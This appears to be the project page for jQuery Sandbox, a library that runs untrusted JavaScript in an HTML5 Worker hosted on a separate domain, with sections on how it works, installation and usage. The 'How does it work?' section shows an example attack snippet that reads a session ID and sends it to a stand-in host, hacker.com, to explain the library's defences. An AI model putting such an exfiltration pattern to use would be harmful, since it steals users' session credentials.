Fork me on GitHub

jQuery Sandbox

Execute untrusted headless Javascript code in a sandbox.

Demo

Type some script to be executed in a sandbox. Your script will be terminated after 5 seconds.


Output

This example will simply print out what the script has posted via postMessage. In your handler, you should sanitize these messages from the script and do something useful with them.


How does it work?

Quite simple, actually.

  1. jQuery Sandbox runs untrusted javascript in a HTML5 Worker which does not have access to the DOM. This mechanism ensures that the script cannot manipulate elements in your DOM, read your cookie or annoy your visitors with popups. However, it alone is not enough. Consider this attack:

    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/session_id', false);
    xhr.send();
    var session_id = xhr.responseText;
    importScripts('http://hacker.com/track.js?session_id=' + session_id);
    
  2. The Worker is hosted on a different domain such that protection from browser's cross origin resource sharing (CORS) policy kicks in, further restricting malicious code. This will ensure that the script cannot read your local storage, use XMLHttpRequest to steal cookie and other data from pages on your site. Malicious script can still access anything from our host domain, but we have nothing valuable.


Installation

You will need the latest jQuery and this script:

<script type="text/javascript" src="//ziyan.github.io/jquery-sandbox/0.0.1/jquery.sandbox.js"></script>

The source can be found on github: https://github.com/ziyan/jquery-sandbox/blob/master/jquery.sandbox.js

Actually, the real source is in CoffeeScript: https://github.com/ziyan/jquery-sandbox/blob/master/src/js/jquery.sandbox.coffee



Limitations

Since jQuery Sandbox depends on HTML5 Worker, it will not work with IE[6-9]. However, it has been tested on the following browsers:

  • IE 10.0
  • Latest Chrome
  • Latest Firefox

Usage

The script does nothing until you call it via $.sandbox(options).

options is a dictionary with the following keys:

  • scripts - Array of script URLs to be executed. You can execute scripts stored in a string directly by supplying: ['data:application/javascript,' + encodeURIComponent(script)]
  • url (optional) - Path to the sandbox iframe. Default to //ziyan.github.io/jquery-sandbox/0.0.1/sandbox.html
  • timeout (optional) - Number of seconds before killing the script. Default to 0 which means no timeout
  • callback (optional) - Function to be called when the script does postMessage() or throws exception. Should be defined as function(data, error) { ... }

var sandbox = $.sandbox({
    timeout: 5000,
    scripts: [
        '//yourdomain.com/assets/js/api.js',
        'data:application/javascript,' + encodeURIComponent(script1),
        'data:application/javascript,' + encodeURIComponent(script2),
    ],
    callback: function(data, error) {
        if (error !== undefined) this.terminate();
    }
});

$('a#terminate').click(function(e) {
    // Termination on demand.
    sandbox.terminate();
});